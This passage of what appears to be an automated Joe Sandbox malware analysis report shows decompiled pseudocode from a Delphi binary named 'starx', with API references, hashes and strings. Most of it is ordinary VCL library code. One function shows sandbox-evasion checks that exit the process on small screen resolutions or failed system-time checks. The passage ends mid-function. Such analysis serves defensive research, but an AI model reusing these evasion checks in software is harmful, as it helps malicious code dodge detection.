									_t344 = _v8;
									__eflags = _t189 -  *((intOrPtr*)(_t344 + 0x30));
									if(_t189 ==  *((intOrPtr*)(_t344 + 0x30))) {
										_t191 = E00453950(0);
										__eflags = _t191;
										if(_t191 != 0) {
											SetFocus(_t191);
										}
									}
								}
								goto L102;
							}
							__eflags = _t185 == 5;
							if(_t185 == 5) {
								L89:
								E0045CC40(_v8,  *(_v12 + 8),  *(_v12 + 4));
								goto L102;
							} else {
								goto L101;
							}
						}
						if(__eflags == 0) {
							_t197 =  *(_v8 + 0x44);
							__eflags = _t197;
							if(_t197 != 0) {
								_t372 = _t197;
								_t199 = E004432A4(_t197);
								__eflags = _t199;
								if(_t199 != 0) {
									_t202 = IsWindowEnabled(E004432A4(_t372));
									__eflags = _t202;
									if(_t202 != 0) {
										_t205 = IsWindowVisible(E004432A4(_t372));
										__eflags = _t205;
										if(_t205 != 0) {
											 *0x467d90 = 0;
											_t206 = GetFocus();
											SetFocus(E004432A4(_t372));
											E0043DC70(_t372,  *(_v12 + 4), 0x112,  *(_v12 + 8));
											SetFocus(_t206);
											 *0x467d90 = 1;
											 *(_v12 + 0xc) = 1;
										}
									}
								}
							}
							goto L102;
						}
						__eflags = _t161 - 0xb000;
						if(__eflags > 0) {
							_t216 = _t161 - 0xb001;
							__eflags = _t216;
							if(_t216 == 0) {
								_t217 = _v8;
								__eflags =  *((short*)(_t217 + 0x10a));
								if( *((short*)(_t217 + 0x10a)) != 0) {
									 *((intOrPtr*)(_v8 + 0x108))();
								}
								goto L102;
							}
							__eflags = _t216 == 0x15;
							if(_t216 == 0x15) {
								_t222 = E0045C5D8(_v8, _t317, _v12);
								__eflags = _t222;
								if(_t222 != 0) {
									 *(_v12 + 0xc) = 1;
								}
								goto L102;
							} else {
								goto L101;
							}
						}
						if(__eflags == 0) {
							_t224 = _v8;
							__eflags =  *((short*)(_t224 + 0x112));
							if( *((short*)(_t224 + 0x112)) != 0) {
								 *((intOrPtr*)(_v8 + 0x110))();
							}
							goto L102;
						}
						_t227 = _t161 - 0x112;
						__eflags = _t227;
						if(_t227 == 0) {
							_t231 = ( *(_v12 + 4) & 0x0000fff0) - 0xf020;
							__eflags = _t231;
							if(_t231 == 0) {
								E0045C240(_v8);
							} else {
								__eflags = _t231 == 0x100;
								if(_t231 == 0x100) {
									E0045C2F0(_v8);
								} else {
									E0045BA98(_t377);
								}
							}
							goto L102;
						}
						_t239 = _t227 + 0xffffffe0 - 7;
						__eflags = _t239;
						if(_t239 < 0) {
							 *(_v12 + 0xc) = SendMessageA( *(_v12 + 8), _t308 + 0xbc00,  *(_v12 + 4),  *(_v12 + 8));
							goto L102;
						}
						__eflags = _t239 == 0x1e1;
						if(_t239 == 0x1e1) {
							_t247 = E0042FE58(E0042FD78());
							__eflags = _t247;
							if(_t247 != 0) {
								E0042FEB4(E0042FD78());
							}
							goto L102;
						} else {
							goto L101;
						}
					}
					if(__eflags == 0) {
						goto L89;
					}
					__eflags = _t161 - 0x16;
					if(__eflags > 0) {
						__eflags = _t161 - 0x1d;
						if(__eflags > 0) {
							_t250 = _t161 - 0x37;
							__eflags = _t250;
							if(_t250 == 0) {
								 *(_v12 + 0xc) = E0045C224(_v8);
								goto L102;
							}
							__eflags = _t250 == 0x13;
							if(_t250 == 0x13) {
								_t254 = _v12;
								__eflags =  *((intOrPtr*)( *((intOrPtr*)(_t254 + 8)))) - 0xde534454;
								if( *((intOrPtr*)( *((intOrPtr*)(_t254 + 8)))) == 0xde534454) {
									_t256 = _v8;
									__eflags =  *((char*)(_t256 + 0x9e));
									if( *((char*)(_t256 + 0x9e)) != 0) {
										_t257 = _v8;
										__eflags =  *(_t257 + 0xa0);
										if( *(_t257 + 0xa0) != 0) {
											 *(_v12 + 0xc) = 0;
										} else {
											_t314 = E0040D0C8("vcltest3.dll", _t308, 0x8000);
											 *(_v8 + 0xa0) = _t314;
											__eflags = _t314;
											if(_t314 == 0) {
												 *(_v12 + 0xc) = GetLastError();
												 *(_v8 + 0xa0) = 0;
											} else {
												 *(_v12 + 0xc) = 0;
												_t375 = GetProcAddress( *(_v8 + 0xa0), "RegisterAutomation");
												_t315 = _t375;
												__eflags = _t375;
												if(_t375 != 0) {
													_t269 =  *(_v12 + 8);
													_t315->i( *((intOrPtr*)(_t269 + 4)),  *((intOrPtr*)(_t269 + 8)));
												}
											}
										}
									}
								}
								goto L102;
							} else {
								goto L101;
							}
						}
						if(__eflags == 0) {
							_t272 =  *0x47fbbc; // 0x2331320
							E0045AFD8(_t272);
							E0045BA98(_t377);
							goto L102;
						}
						_t275 = _t161 - 0x1a;
						__eflags = _t275;
						if(_t275 == 0) {
							_t276 =  *0x47e8b4; // 0x47fb18
							E00447BFC( *_t276, _t317,  *(_v12 + 4));
							E0045BA2C(_v8, _t308, _t317, _v12, _t370);
							E0045BA98(_t377);
							goto L102;
						}
						__eflags = _t275 == 2;
						if(_t275 == 2) {
							E0045BA98(_t377);
							_t284 = _v12;
							__eflags =  *((intOrPtr*)(_t284 + 4)) - 1;
							asm("sbb eax, eax");
							 *((char*)(_v8 + 0x9d)) = _t284 + 1;
							_t286 = _v12;
							__eflags =  *(_t286 + 4);
							if( *(_t286 + 4) == 0) {
								E0045B928();
								PostMessageA( *(_v8 + 0x30), 0xb001, 0, 0);
							} else {
								E0045B938(_v8);
								PostMessageA( *(_v8 + 0x30), 0xb000, 0, 0);
							}
							goto L102;
						} else {
							goto L101;
						}
					}
					if(__eflags == 0) {
						_t297 = _v12;
						__eflags =  *(_t297 + 4);
						if( *(_t297 + 4) != 0) {
							 *((char*)(_v8 + 0x9c)) = 1;
						}
						goto L102;
					}
					__eflags = _t161 - 0x14;
					if(_t161 > 0x14) {
						goto L101;
					}
					switch( *((intOrPtr*)(_t161 * 4 +  &M0045BBC4))) {
						case 0:
							0 = E004194E8(0, __ebx, __edi, __esi);
							goto L102;
						case 1:
							goto L101;
						case 2:
							_push(0);
							_push(0);
							_push(0xb01a);
							_v8 =  *(_v8 + 0x30);
							_push( *(_v8 + 0x30));
							L004067DC();
							__eax = E0045BA98(__ebp);
							goto L102;
						case 3:
							__eax = _v12;
							__eflags =  *(__eax + 4);
							if( *(__eax + 4) == 0) {
								__eax = E0045BA98(__ebp);
								__eax = _v8;
								__eflags =  *(__eax + 0xac);
								if( *(__eax + 0xac) == 0) {
									__eax = _v8;
									__eax =  *(_v8 + 0x30);
									__eax = E00453800( *(_v8 + 0x30), __ebx, __edi, __esi);
									__edx = _v8;
									 *(_v8 + 0xac) = __eax;
								}
								_v8 = L0045B930();
							} else {
								_v8 = E0045B938(_v8);
								__eax = _v8;
								__eax =  *(_v8 + 0xac);
								__eflags = __eax;
								if(__eax != 0) {
									__eax = _v8;
									__edx = 0;
									__eflags = 0;
									 *(_v8 + 0xac) = 0;
								}
								__eax = E0045BA98(__ebp);
							}
							goto L102;
						case 4:
							__eax = _v8;
							__eax =  *(_v8 + 0x30);
							_push(__eax);
							L0040674C();
							__eflags = __eax;
							if(__eax == 0) {
								__eax = E0045BA98(__ebp);
							} else {
								__eax = E0045BAD4(__ebp);
							}
							goto L102;
						case 5:
							__eax = _v8;
							__eax =  *(_v8 + 0x44);
							__eflags = __eax;
							if(__eax != 0) {
								__eax = E004591D8(__eax, __ecx);
							}
							goto L102;
						case 6:
							__eax = _v12;
							 *_v12 = 0x27;
							__eax = E0045BA98(__ebp);
							goto L102;
					}
				} else {
					_t316 = _t306 + 1;
					_t376 = 0;
					L2:
					L2:
					if( *((intOrPtr*)(E00413C44( *((intOrPtr*)(_v8 + 0xa8)), _t376)))() == 0) {
						goto L4;
					} else {
						_t166 = 0;
						_pop(_t366);
						 *[fs:eax] = _t366;
					}
					L103:
					return _t166;
					L4:
					_t376 = _t376 + 1;
					_t316 = _t316 - 1;
					__eflags = _t316;
					if(_t316 != 0) {
						goto L2;
					}
					goto L5;
				}
			}

0x0045bb20
0x0045bb27
0x0045bb29
0x0045bb2c
0x0045bb31
0x0045bb32
0x0045bb37
0x0045bb3a
0x0045bb42
0x0045bb51
0x0045bb54
0x0045bb88
0x0045bb8e
0x0045bb96
0x0045bb98
0x0045bb9a
0x0045bb9d
0x0045bc51
0x0045bc56
0x0045bca7
0x0045bcac
0x0045bccd
0x0045bccd
0x0045bcd2
0x0045c142
0x0045c145
0x0045c149
0x0045c165
0x0045c14b
0x0045c157
0x0045c157
0x0045c1d0
0x0045c1d0
0x0045c1d2
0x0045c1d5
0x00000000
0x0045c1d5
0x0045bcdb
0x0045bcde
0x0045bf9d
0x0045bce4
0x0045c1c9
0x0045c1ca
0x0045c1cf
0x00000000
0x0045bcde
0x0045bcae
0x0045c109
0x0045c10c
0x0045c110
0x0045c138
0x0045c112
0x0045c120
0x0045c120
0x00000000
0x0045c110
0x0045bcb4
0x0045bcb4
0x0045bcb9
0x0045c0b7
0x0045c0bc
0x0045c0be
0x0045c0c4
0x0045c0c9
0x0045c0cc
0x0045c0cf
0x0045c0d7
0x0045c0dc
0x0045c0de
0x0045c0e5
0x0045c0e5
0x0045c0de
0x0045c0cf
0x00000000
0x0045c0be
0x0045bcbf
0x0045bcc2
0x0045c0ef
0x0045c0ff
0x00000000
0x0045bcc8
0x00000000
0x0045bcc8
0x0045bcc2
0x0045bc58
0x0045bfca
0x0045bfcd
0x0045bfcf
0x0045bfd5
0x0045bfd9
0x0045bfde
0x0045bfe0
0x0045bfee
0x0045bff3
0x0045bff5
0x0045c003
0x0045c008
0x0045c00a
0x0045c010
0x0045c017
0x0045c026
0x0045c03f
0x0045c045
0x0045c04a
0x0045c054
0x0045c054
0x0045c00a
0x0045bff5
0x0045bfe0
0x00000000
0x0045bfcf
0x0045bc5e
0x0045bc63
0x0045bc8e
0x0045bc8e
0x0045bc93
0x0045c088
0x0045c08b
0x0045c093
0x0045c0a5
0x0045c0a5
0x00000000
0x0045c093
0x0045bc99
0x0045bc9c
0x0045bfab
0x0045bfb0
0x0045bfb2
0x0045bfbb
0x0045bfbb
0x00000000
0x0045bca2
0x00000000
0x0045bca2
0x0045bc9c
0x0045bc65
0x0045c060
0x0045c063
0x0045c06b
0x0045c07d
0x0045c07d
0x00000000
0x0045c06b
0x0045bc6b
0x0045bc6b
0x0045bc70
0x0045bcf4
0x0045bcf4
0x0045bcf9
0x0045bd07
0x0045bcfb
0x0045bcfb
0x0045bd00
0x0045bd14
0x0045bd02
0x0045bd1f
0x0045bd24
0x0045bd00
0x00000000
0x0045bcf9
0x0045bc75
0x0045bc75
0x0045bc78
0x0045beac
0x00000000
0x0045beac
0x0045bc7e
0x0045bc83
0x0045c1ab
0x0045c1b0
0x0045c1b2
0x0045c1b9
0x0045c1b9
0x00000000
0x0045bc89
0x00000000
0x0045bc89
0x0045bc83
0x0045bba3
0x00000000
0x00000000
0x0045bba9
0x0045bbac
0x0045bc18
0x0045bc1b
0x0045bc3a
0x0045bc3a
0x0045bc3d
0x0045bd8a
0x00000000
0x0045bd8a
0x0045bc43
0x0045bc46
0x0045bed0
0x0045bed6
0x0045bedc
0x0045bee2
0x0045bee5
0x0045beec
0x0045bef2
0x0045bef5
0x0045befc
0x0045bf7c
0x0045befe
0x0045bf0d
0x0045bf12
0x0045bf18
0x0045bf1a
0x0045bf64
0x0045bf6c
0x0045bf1c
0x0045bf21
0x0045bf38
0x0045bf3a
0x0045bf3c
0x0045bf3e
0x0045bf47
0x0045bf55
0x0045bf55
0x0045bf3e
0x0045bf1a
0x0045befc
0x0045beec
0x00000000
0x0045bc4c
0x00000000
0x0045bc4c
0x0045bc46
0x0045bc1d
0x0045c193
0x0045c198
0x0045c19e
0x00000000
0x0045c1a3
0x0045bc23
0x0045bc23
0x0045bc26
0x0045c173
0x0045c17a
0x0045c185
0x0045c18b
0x00000000
0x0045c190
0x0045bc2c
0x0045bc2f
0x0045bdb4
0x0045bdba
0x0045bdbd
0x0045bdc1
0x0045bdc7
0x0045bdcd
0x0045bdd0
0x0045bdd4
0x0045bdfb
0x0045be10
0x0045bdd6
0x0045bdd9
0x0045bdee
0x0045bdee
0x00000000
0x0045bc35
0x00000000
0x0045bc35
0x0045bc2f
0x0045bbae
0x0045beb4
0x0045beb7
0x0045bebb
0x0045bec4
0x0045bec4
0x00000000
0x0045bebb
0x0045bbb4
0x0045bbb7
0x00000000
0x00000000
0x0045bbbd
0x00000000
0x0045c1c2
0x00000000
0x00000000
0x00000000
0x00000000
0x0045bd92
0x0045bd94
0x0045bd96
0x0045bd9e
0x0045bda1
0x0045bda2
0x0045bda8
0x00000000
0x00000000
0x0045be1a
0x0045be1d
0x0045be21
0x0045be55
0x0045be5b
0x0045be5e
0x0045be65
0x0045be67
0x0045be6a
0x0045be6d
0x0045be72
0x0045be75
0x0045be75
0x0045be7e
0x0045be23
0x0045be26
0x0045be2b
0x0045be2e
0x0045be34
0x0045be36
0x0045be3d
0x0045be40
0x0045be40
0x0045be42
0x0045be42
0x0045be49
0x0045be4e
0x00000000
0x00000000
0x0045bd42
0x0045bd45
0x0045bd48
0x0045bd49
0x0045bd4e
0x0045bd50
0x0045bd5f
0x0045bd52
0x0045bd53
0x0045bd58
0x00000000
0x00000000
0x0045bd2a
0x0045bd2d
0x0045bd30
0x0045bd32
0x0045bd38
0x0045bd38
0x00000000
0x00000000
0x0045bd6a
0x0045bd6d
0x0045bd74
0x00000000
0x00000000
0x0045bb56
0x0045bb56
0x0045bb57
0x00000000
0x0045bb59
0x0045bb75
0x00000000
0x0045bb77
0x0045bb77
0x0045bb79
0x0045bb7c
0x0045bb7c
0x0045c1ef
0x0045c1f5
0x0045bb84
0x0045bb84
0x0045bb85
0x0045bb85
0x0045bb86
0x00000000
0x00000000
0x00000000
0x0045bb86

Strings

RegisterAutomation, xrefs: 0045BF24
vcltest3.dll, xrefs: 0045BF03

Memory Dump Source

Source File: 00000000.00000002.360987730.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.360979633.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.361261849.0000000000467000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.361272963.0000000000469000.00000008.00020000.sdmp Download File
Associated: 00000000.00000002.361284229.000000000047E000.00000008.00020000.sdmp Download File
Associated: 00000000.00000002.361291084.000000000047F000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.361297824.0000000000485000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_starx.jbxd

Similarity

API ID:
String ID: RegisterAutomation$vcltest3.dll
API String ID: 0-2963190186
Opcode ID: 6fb332e9d9c7b8aae2744120450a5d884e6909a6f34191daa6f6f37496ef5186
Instruction ID: c623c789045dab154c22cf8bae871bf1a84426f61e948938dc7dace0011313a9
Opcode Fuzzy Hash: 6fb332e9d9c7b8aae2744120450a5d884e6909a6f34191daa6f6f37496ef5186
Instruction Fuzzy Hash: 84E18035600608EFC704DBA9C985A9EB7B1EF08315F6481A6EC059B353C738EE49DF89

Uniqueness

Uniqueness Score: -1.00%

Function 0040535C, Relevance: 15.1, APIs: 10, Instructions: 98
stringlibrarythreadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 61%

			E0040535C() {
				void* _t28;
				void* _t30;
				struct HINSTANCE__* _t36;
				struct HINSTANCE__* _t42;
				char* _t51;
				void* _t52;
				struct HINSTANCE__* _t59;
				void* _t61;

				_push(0x105);
				_push( *((intOrPtr*)(_t61 - 4)));
				_push(_t61 - 0x11d);
				L004012AC();
				GetLocaleInfoA(GetThreadLocale(), 3, _t61 - 0xd, 5); // executed
				_t59 = 0;
				if( *(_t61 - 0x11d) == 0 ||  *(_t61 - 0xd) == 0 &&  *((char*)(_t61 - 0x12)) == 0) {
					L14:
					return _t59;
				} else {
					_t28 = _t61 - 0x11d;
					_push(_t28);
					L004012B4();
					_t51 = _t28 + _t61 - 0x11d;
					L5:
					if( *_t51 != 0x2e && _t51 != _t61 - 0x11d) {
						_t51 = _t51 - 1;
						goto L5;
					}
					_t30 = _t61 - 0x11d;
					if(_t51 != _t30) {
						_t52 = _t51 + 1;
						if( *((char*)(_t61 - 0x12)) != 0) {
							_push(0x105 - _t52 - _t30);
							_push(_t61 - 0x12);
							_push(_t52);
							L004012AC();
							_t59 = LoadLibraryExA(_t61 - 0x11d, 0, 2);
						}
						if(_t59 == 0 &&  *(_t61 - 0xd) != 0) {
							_push(0x105 - _t52 - _t61 - 0x11d);
							_push(_t61 - 0xd);
							_push(_t52);
							L004012AC();
							_t36 = LoadLibraryExA(_t61 - 0x11d, 0, 2); // executed
							_t59 = _t36;
							if(_t59 == 0) {
								 *((char*)(_t61 - 0xb)) = 0;
								_push(0x105 - _t52 - _t61 - 0x11d);
								_push(_t61 - 0xd);
								_push(_t52);
								L004012AC();
								_t42 = LoadLibraryExA(_t61 - 0x11d, 0, 2); // executed
								_t59 = _t42;
							}
						}
					}
					goto L14;
				}
			}

0x0040535c
0x00405364
0x0040536b
0x0040536c
0x0040537f
0x00405384
0x0040538d
0x00405476
0x0040547d
0x004053a3
0x004053a3
0x004053a9
0x004053aa
0x004053b7
0x004053bc
0x004053bf
0x004053bb
0x00000000
0x004053bb
0x004053cb
0x004053d3
0x004053d9
0x004053de
0x004053eb
0x004053ef
0x004053f0
0x004053f1
0x00405406
0x00405406
0x0040540a
0x00405423
0x00405427
0x00405428
0x00405429
0x00405439
0x0040543e
0x00405442
0x00405444
0x00405459
0x0040545d
0x0040545e
0x0040545f
0x0040546f
0x00405474
0x00405474
0x00405442
0x0040540a
0x00000000
0x004053d3

APIs

lstrcpyn.KERNEL32(?,?,00000105,80000001,Software\Borland\Delphi\Locales,00000000,000F0019,?,80000002,Software\Borland\Locales,00000000,000F0019,?,80000001,Software\Borland\Locales,00000000), ref: 0040536C
GetThreadLocale.KERNEL32(00000003,00000001,00000005,?,?,00000105,80000001,Software\Borland\Delphi\Locales,00000000,000F0019,?,80000002,Software\Borland\Locales,00000000,000F0019,?), ref: 00405379
GetLocaleInfoA.KERNEL32(00000000,00000003,00000001,00000005,?,?,00000105,80000001,Software\Borland\Delphi\Locales,00000000,000F0019,?,80000002,Software\Borland\Locales,00000000,000F0019), ref: 0040537F
lstrlen.KERNEL32(00000000,00000000,00000003,00000001,00000005,?,?,00000105,80000001,Software\Borland\Delphi\Locales,00000000,000F0019,?,80000002,Software\Borland\Locales,00000000), ref: 004053AA
lstrcpyn.KERNEL32(00000001,00000000,00000105,00000000,00000000,00000003,00000001,00000005,?,?,00000105,80000001,Software\Borland\Delphi\Locales,00000000,000F0019,?), ref: 004053F1
LoadLibraryExA.KERNEL32(00000000,00000000,00000002,00000001,00000000,00000105,00000000,00000000,00000003,00000001,00000005,?,?,00000105,80000001,Software\Borland\Delphi\Locales), ref: 00405401
lstrcpyn.KERNEL32(00000001,00000000,00000105,00000000,00000000,00000003,00000001,00000005,?,?,00000105,80000001,Software\Borland\Delphi\Locales,00000000,000F0019,?), ref: 00405429
LoadLibraryExA.KERNEL32(00000000,00000000,00000002,00000001,00000000,00000105,00000000,00000000,00000003,00000001,00000005,?,?,00000105,80000001,Software\Borland\Delphi\Locales), ref: 00405439
lstrcpyn.KERNEL32(00000001,00000000,00000105,00000000,00000000,00000002,00000001,00000000,00000105,00000000,00000000,00000003,00000001,00000005,?,?), ref: 0040545F
LoadLibraryExA.KERNEL32(00000000,00000000,00000002,00000001,00000000,00000105,00000000,00000000,00000002,00000001,00000000,00000105,00000000,00000000,00000003,00000001), ref: 0040546F

Strings

Software\Borland\Delphi\Locales, xrefs: 004052BC
Software\Borland\Locales, xrefs: 00405280, 0040529E

Memory Dump Source

Source File: 00000000.00000002.360987730.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.360979633.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.361261849.0000000000467000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.361272963.0000000000469000.00000008.00020000.sdmp Download File
Associated: 00000000.00000002.361284229.000000000047E000.00000008.00020000.sdmp Download File
Associated: 00000000.00000002.361291084.000000000047F000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.361297824.0000000000485000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_starx.jbxd

Similarity

API ID: lstrcpyn$LibraryLoad$Locale$InfoThreadlstrlen
String ID: Software\Borland\Delphi\Locales$Software\Borland\Locales
API String ID: 1599918012-2375825460
Opcode ID: ae07d9dfe110d995bc4d342801bec84509cfb66ebe3b0889787be49e8feff5b6
Instruction ID: 5e64c68a95c22e67a2515001adb1a4426c36b3ba6d32b06361acc1fb8cf051fd
Opcode Fuzzy Hash: ae07d9dfe110d995bc4d342801bec84509cfb66ebe3b0889787be49e8feff5b6
Instruction Fuzzy Hash: 87314171E0061C6AEB25D6B8DC46FEF6BAD8B04344F4541FBA644F61C1D67C8E848F94

Uniqueness

Uniqueness Score: -1.00%

Function 00465ED0, Relevance: 7.6, APIs: 5, Instructions: 72
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 68%

			E00465ED0() {
				int _t5;
				int _t10;
				void* _t22;
				void* _t24;

				_push(0);
				_push(0);
				_push(0); // executed
				L004063E4(); // executed
				E00465E48();
				_t10 = GetSystemMetrics(0);
				if(_t10 < 0) {
					E004031A8();
				}
				_t22 = 0;
				_t5 = GetSystemMetrics(1);
				if(_t5 < 0) {
					_t5 = E004031A8();
				}
				_t24 = _t22;
				if(_t10 <= 0x320 || _t5 <= 0x258) {
					_t24 = 3;
					ExitProcess(0);
				}
				_push(E00465DA4);
				_push(1); // executed
				L00465CE4(); // executed
				return _t24;
			}

0x00465ef3
0x00465ef5
0x00465ef7
0x00465ef9
0x00465f04
0x00465f1a
0x00465f1e
0x00465f20
0x00465f20
0x00465f29
0x00465f2d
0x00465f34
0x00465f36
0x00465f36
0x00465f43
0x00465f4b
0x00465f54
0x00465f5b
0x00465f5b
0x00465f60
0x00465f65
0x00465f67
0x00465f80

APIs

739EB410.GDI32(00000000,00000000,00000000), ref: 00465EF9

Part of subcall function 00465E48: GetSystemTime.KERNEL32(?), ref: 00465E53
Part of subcall function 00465E48: ExitProcess.KERNEL32(00000000,?), ref: 00465E6A
Part of subcall function 00465E48: 739EB410.GDI32(00000000,00000000,00000000,?), ref: 00465E75
Part of subcall function 00465E48: GetSystemTimeAsFileTime.KERNEL32(?,00000000,00000000,00000000,?), ref: 00465E7E
Part of subcall function 00465E48: FileTimeToSystemTime.KERNEL32(?,?,?,00000000,00000000,00000000,?), ref: 00465E8F
Part of subcall function 00465E48: ExitProcess.KERNEL32(00000000,?,?,?,00000000,00000000,00000000,?), ref: 00465EA5
Part of subcall function 00465E48: ExitProcess.KERNEL32(00000000,?,?,?,00000000,00000000,00000000,?), ref: 00465EC3

GetSystemMetrics.USER32 ref: 00465F15
GetSystemMetrics.USER32 ref: 00465F2D
ExitProcess.KERNEL32(00000000,00000001,00000000,00000000,00000000,00000000), ref: 00465F5B
RtlAddVectoredExceptionHandler.KERNEL32(00000001,00465DA4,00000000,00000001,00000000,00000000,00000000,00000000), ref: 00465F67

Memory Dump Source

Source File: 00000000.00000002.360987730.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.360979633.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.361261849.0000000000467000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.361272963.0000000000469000.00000008.00020000.sdmp Download File
Associated: 00000000.00000002.361284229.000000000047E000.00000008.00020000.sdmp Download File
Associated: 00000000.00000002.361291084.000000000047F000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.361297824.0000000000485000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_starx.jbxd

Similarity

API ID: SystemTime$ExitProcess$B410FileMetrics$ExceptionHandlerVectored
String ID:
API String ID: 3384229426-0
Opcode ID: f6f82745f4011a3055a5069b499697d3c778dc08b682c609c595d018603be599
Instruction ID: 267ea18d98a46b8fd781e8eb69bdd671d16456f9aa1fd631355c782644ee7c85
Opcode Fuzzy Hash: f6f82745f4011a3055a5069b499697d3c778dc08b682c609c595d018603be599
Instruction Fuzzy Hash: B4F0EC32B60A7422F53171AA984275A548C8708F79F1A02A7BE08FF2C2D8D94D1043DA

Uniqueness

Uniqueness Score: -1.00%

Function 00440CB8, Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 111
COMMON

Download Yara Rule

C-Code - Quality: 91%

			E00440CB8(void* __eax, intOrPtr* __edx) {
				char _v20;
				char _v28;
				intOrPtr _t17;
				void* _t19;
				void* _t21;
				void* _t23;
				void* _t32;
				void* _t39;
				void* _t45;
				intOrPtr _t47;
				intOrPtr _t48;
				void* _t50;
				void* _t51;
				intOrPtr* _t65;
				intOrPtr* _t67;
				void* _t68;

				_t67 = __edx;
				_t50 = __eax;
				_t17 =  *__edx;
				_t68 = _t17 - 0x84;
				if(_t68 > 0) {
					_t19 = _t17 + 0xffffff00 - 9;
					if(_t19 < 0) {
						_t21 = E0043D22C(__eax);
						if(_t21 != 0) {
							L28:
							return _t21;
						}
						L27:
						_t23 = E0043DD3C(_t50, _t67); // executed
						return _t23;
					}
					if(_t19 + 0xffffff09 - 0xb < 0) {
						_t21 = E00440C24(__eax, _t51, __edx);
						if(_t21 == 0) {
							goto L27;
						}
						if( *((intOrPtr*)(_t67 + 0xc)) != 0) {
							goto L28;
						}
						_t21 = E004435A8(_t50);
						if(_t21 == 0) {
							goto L28;
						}
						_push( *((intOrPtr*)(_t67 + 8)));
						_push( *((intOrPtr*)(_t67 + 4)));
						_push( *_t67);
						_t32 = E004432A4(_t50);
						_push(_t32);
						L004064DC();
						return _t32;
					}
					goto L27;
				}
				if(_t68 == 0) {
					_t21 = E0043DD3C(__eax, __edx);
					if( *((intOrPtr*)(__edx + 0xc)) != 0xffffffff) {
						goto L28;
					}
					E004069D4( *((intOrPtr*)(__edx + 8)), _t51,  &_v20);
					E0043C600(_t50,  &_v28,  &_v20);
					_t21 = E00440B90(_t50, 0,  &_v28, 0);
					if(_t21 == 0) {
						goto L28;
					}
					 *((intOrPtr*)(_t67 + 0xc)) = 1;
					return _t21;
				}
				_t39 = _t17 - 7;
				if(_t39 == 0) {
					_t65 = E00453BCC(__eax);
					if(_t65 == 0) {
						goto L27;
					}
					_t21 =  *((intOrPtr*)( *_t65 + 0xe8))();
					if(_t21 == 0) {
						goto L28;
					}
					goto L27;
				}
				_t21 = _t39 - 1;
				if(_t21 == 0) {
					if(( *(__eax + 0x54) & 0x00000020) != 0) {
						goto L28;
					}
				} else {
					if(_t21 == 0x17) {
						_t45 = E004432A4(__eax);
						if(_t45 == GetCapture() &&  *0x467c04 != 0) {
							_t47 =  *0x467c04; // 0x0
							if(_t50 ==  *((intOrPtr*)(_t47 + 0x30))) {
								_t48 =  *0x467c04; // 0x0
								E0043DC70(_t48, 0, 0x1f, 0);
							}
						}
					}
				}
			}

0x00440cbe
0x00440cc0
0x00440cc2
0x00440cc4
0x00440cc9
0x00440ce8
0x00440ceb
0x00440dc8
0x00440dcf
0x00440e1a
0x00440e1a
0x00440e1a
0x00440e0b
0x00440e0f
0x00000000
0x00440e0f
0x00440cf9
0x00440d92
0x00440d99
0x00000000
0x00000000
0x00440d9f
0x00000000
0x00000000
0x00440da3
0x00440daa
0x00000000
0x00000000
0x00440daf
0x00440db3
0x00440db6
0x00440db9
0x00440dbe
0x00440dbf
0x00000000
0x00440dbf
0x00000000
0x00440cff
0x00440ccb
0x00440d41
0x00440d4a
0x00000000
0x00000000
0x00440d59
0x00440d68
0x00440d75
0x00440d7c
0x00000000
0x00000000
0x00440d82
0x00000000
0x00440d82
0x00440ccd
0x00440cd0
0x00440d0b
0x00440d0f
0x00000000
0x00000000
0x00440d1b
0x00440d23
0x00000000
0x00000000
0x00000000
0x00440d29
0x00440cd2
0x00440cd3
0x00440d32
0x00000000
0x00000000
0x00440cd5
0x00440cd8
0x00440dd5
0x00440de3
0x00440dee
0x00440df6
0x00440e01
0x00440e06
0x00440e06
0x00440df6
0x00440de3
0x00440cd8

APIs

GetCapture.USER32 ref: 00440DDC

Strings

, xrefs: 00440D2E

Memory Dump Source

Source File: 00000000.00000002.360987730.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.360979633.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.361261849.0000000000467000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.361272963.0000000000469000.00000008.00020000.sdmp Download File
Associated: 00000000.00000002.361284229.000000000047E000.00000008.00020000.sdmp Download File
Associated: 00000000.00000002.361291084.000000000047F000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.361297824.0000000000485000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_starx.jbxd

Similarity

API ID: Capture
String ID:
API String ID: 1145282425-3916222277
Opcode ID: c06416d320ec7d6bd3fa2c730498d7a2b4303e7804d738c22bd698e8de7c7ff1
Instruction ID: 48331b07be40b466e4eb12501dfd302497f316cb121a9e00c0c091e05b90d7fd
Opcode Fuzzy Hash: c06416d320ec7d6bd3fa2c730498d7a2b4303e7804d738c22bd698e8de7c7ff1
Instruction Fuzzy Hash: 7B31D2B17006014BEB20AE3DC98561B63956B44318F244D3FF656CB792DA7CDC3A879D

Uniqueness

Uniqueness Score: -1.00%

Function 00465CEC, Relevance: 3.0, APIs: 2, Instructions: 27
memoryCOMMON

Download Yara Rule

C-Code - Quality: 68%

			E00465CEC() {
				void* _v8;
				long _v12;
				void* _t6;
